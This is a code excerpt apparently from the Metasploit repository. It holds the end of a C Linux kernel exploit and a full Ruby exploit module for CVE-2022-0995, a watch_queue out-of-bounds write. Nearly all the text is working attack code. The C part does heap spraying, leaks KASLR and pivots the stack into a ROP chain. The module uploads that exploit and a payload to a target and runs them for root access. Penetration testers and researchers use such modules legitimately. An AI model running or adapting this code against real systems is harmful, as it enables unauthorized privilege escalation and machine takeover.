puts("[+] freeing corrupted msg_msg....");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
build_msgmsg(secondary_buf, fake_secondary_msg, fake_secondary_msg, 0x0, SECONDARY_SIZE - 0x30, 0x0, MTYPE_FAKE);
puts("[+] reallocating corrupted msg_msg....");
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
puts("[+] freeing sk_buff....");
delete_msgmsg(real_idx, SECONDARY_SIZE, MTYPE_FAKE);
/*
STEP 2
Spray struct pipe_buffer, leak KASLR while reading and freeing sk_buffs
*/
puts("[+] STEP 2: KASLR leak");
puts("[+] Spraying pipe_buffer objs...");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipe_fds[i]) < 0) {
perror("[-] pipe");
goto err;
}
if (write(pipe_fds[i][1], "A", 1) < 0) {
perror("[-] write");
goto err;
}
}
puts("[+] Leak+free pipe_buffer objs...");
memset(secondary_buf, 0x0, sizeof(secondary_buf));
for (int i = 0; i < N_SOCKS; i++) {
for (int j = 0; j < N_SKBUFFS; j++) {
if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
perror("[-] read");
goto err;
}
if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
kaslr_base = ((uint64_t*)secondary_buf)[2];
}
}
if (kaslr_base == -1 || ((kaslr_base & 0xffffffff00000000) != 0xffffffff00000000)) {
puts("[-] couldn't leak kaslr");
goto err;
}
printf("[*] kaslr leak: 0x%lx\n", kaslr_base);
kaslr_base -= ANON_PIPE_BUF_OPS;
printf("[*] kaslr base: 0x%lx\n", kaslr_base);
/*
STEP 3
Reallocate struct pipe_buffer overwrite _ops pointer and do stack pivoting
*/
puts("[+] STEP 3: Stack pivot");
puts("[+] Reallocating pipe_buffer object....");
struct pipe_buf_operations *ops;
struct pipe_buffer *pipe_buf;
memset(secondary_buf, 0x0, sizeof(secondary_buf));
pipe_buf = (struct pipe_buffer*)secondary_buf;
ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
ops->release = PUSH_RSI_POP_RSP_RBP_RET + kaslr_base;
build_rop((uint64_t*)secondary_buf);
pipe_buf->ops = fake_secondary_msg + 0x290;
spray_skbuff(ss, secondary_buf, sizeof(secondary_buf));
puts("[+] Cleaning up msg_msgs");
cleanup_msgmsg();
puts("[+] Releasing pipe_buffer objs");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (close(pipe_fds[i][0]) < 0) {
perror("[-] close");
goto err;
}
if (close(pipe_fds[i][1]) < 0) {
perror("[-] close");
goto err;
}
}
return 0;
err:
cleanup_msgmsg();
return 1;
}

View File

@ -0,0 +1,178 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Watch Queue Out of Bounds Write',
'Description' => %q{
This module exploits a vulnerability in the Linux Kernel's watch_queue event
notification system. It relies on a heap out-of-bounds write in kernel memory.
The exploit may fail on the first attempt so multiple attempts may be needed.
Note that the exploit can potentially cause a denial of service if multiple
failed attemps occur, however this is unlikely.
},
'License' => MSF_LICENSE,
'Author' => [
'Jann Horn', # discovery and poc
'bonfee', # PoC
'bwatters-r7' # Aka @tychos_moose, Metasploit Module
],
'DisclosureDate' => '2022-03-14',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true,
'References' => [
[ 'CVE', '2022-0995' ],
[ 'URL', 'https://github.com/Bonfee/CVE-2022-0995' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=93ce93587d36493f2f86921fa79921b3cba63fbb' ],
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0995' ],
[ 'PACKETSTORM', '166770' ],
],
'Targets' => [
[ 'Ubuntu Linux 5.13.0-37', {} ],
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [ UNRELIABLE_SESSION ], # Not expected to get a shell every time due to heap spray sometimes not working.
'Stability' => [ CRASH_OS_DOWN ],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
}
)
)
register_options [
OptBool.new('DEBUG_SOURCE', [ false, 'Use source code with debug prints to help troubleshoot', false ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def pull_version
kernel_data = kernel_release
version_array = kernel_data.split('-')
if version_array.length < 3
print_error("Failed to parse the kernel version data: #{kernel_data}")
return nil
end
vprint_status("Version array: #{version_array}")
major_version = Rex::Version.new(version_array[0])
vprint_status("major_version: #{major_version}")
minor_version = version_array[1].strip unless version_array[1].nil?
vprint_status("minor_version: #{minor_version}")
kernel_type = version_array[2].strip unless version_array[2].nil?
return [major_version, minor_version, kernel_type]
end
def module_check
# Vulnerable versions are under 5.17:rc8
# This module only has offsets for Ubuntu 5.13.0-37
if is_root? && !datastore['ForceExploit']
fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override.')
end
if datastore['DEBUG_SOURCE'] && datastore['COMPILE'] != 'True'
fail_with(Failure::BadConfig, 'DEBUG_PRINT is only supported when COMPILE is set to True')
end
unless kernel_version =~ /[uU]buntu/
fail_with(Failure::NoTarget, "Unsupported Distro: '#{version}'")
end
arch = kernel_hardware
unless arch.include?('x86_64')
fail_with(Failure::NoTarget, "Unsupported architecture: '#{arch}'")
end
version_info = pull_version
if version_info.nil?
fail_with(Failure::NoTarget, 'Failed to obtain kernel version')
end
major_version, minor_version, kernel_type = version_info
vulnerable_version = Rex::Version.new('5.13.0')
unless major_version == vulnerable_version && minor_version == '37' && kernel_type.include?('generic')
fail_with(Failure::NoTarget, "No offsets for '#{kernel_release}'")
end
end
def check
# Vulnerable versions are under 5.17:rc8
# This module only has offsets for 5.13.0-37
vulnerable_version = Rex::Version.new('5.17.0')
version_info = pull_version
if version_info.nil?
return CheckCode::Unknown('Failed to obtain kernel version')
end
major_version = version_info[0]
if major_version <= vulnerable_version
return CheckCode::Appears
else
return CheckCode::Safe("The target kernel version #{major_version} is later than the last known vulnerable version aka #{vulnerable_version}")
end
end
def exploit
module_check
base_dir = datastore['WritableDir'].to_s
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
executable_name = ".#{rand_text_alphanumeric(5..10)}"
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
exploit_path = "#{exploit_dir}/#{executable_name}"
if file_exist?(exploit_dir)
fail_with(Failure::BadConfig, 'Exploit dir already exists')
end
mkdir(exploit_dir)
register_dir_for_cleanup(exploit_dir)
# Upload exploit
if live_compile?
vprint_status('Live compiling exploit on system...')
if datastore['DEBUG_SOURCE']
code = exploit_source('cve-2022-0995', 'cve-2022-0995_debug.c')
else
code = exploit_source('cve-2022-0995', 'cve-2022-0995.c')
end
upload_and_compile(exploit_path, code, '-no-pie -static')
else
vprint_status('Dropping pre-compiled exploit on system...')
precompiled_binary = 'cve-2022-0995.x64.elf'
vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")
upload_and_chmodx(exploit_path, exploit_data('cve-2022-0995', precompiled_binary))
end
register_file_for_cleanup(exploit_path)
# Upload payload
payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx(payload_path, generate_payload_exe)
# Launch exploit
print_status('Launching exploit...')
cmd_string = "#{exploit_path} #{payload_path}"
vprint_status("Running: #{cmd_string}")
begin
output = cmd_exec(cmd_string)
vprint_status(output)
rescue Error => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error("Exploit failed: #{e}")
print_error("Ensure deletion of #{exploit_path} and #{payload_path}")
end
end
end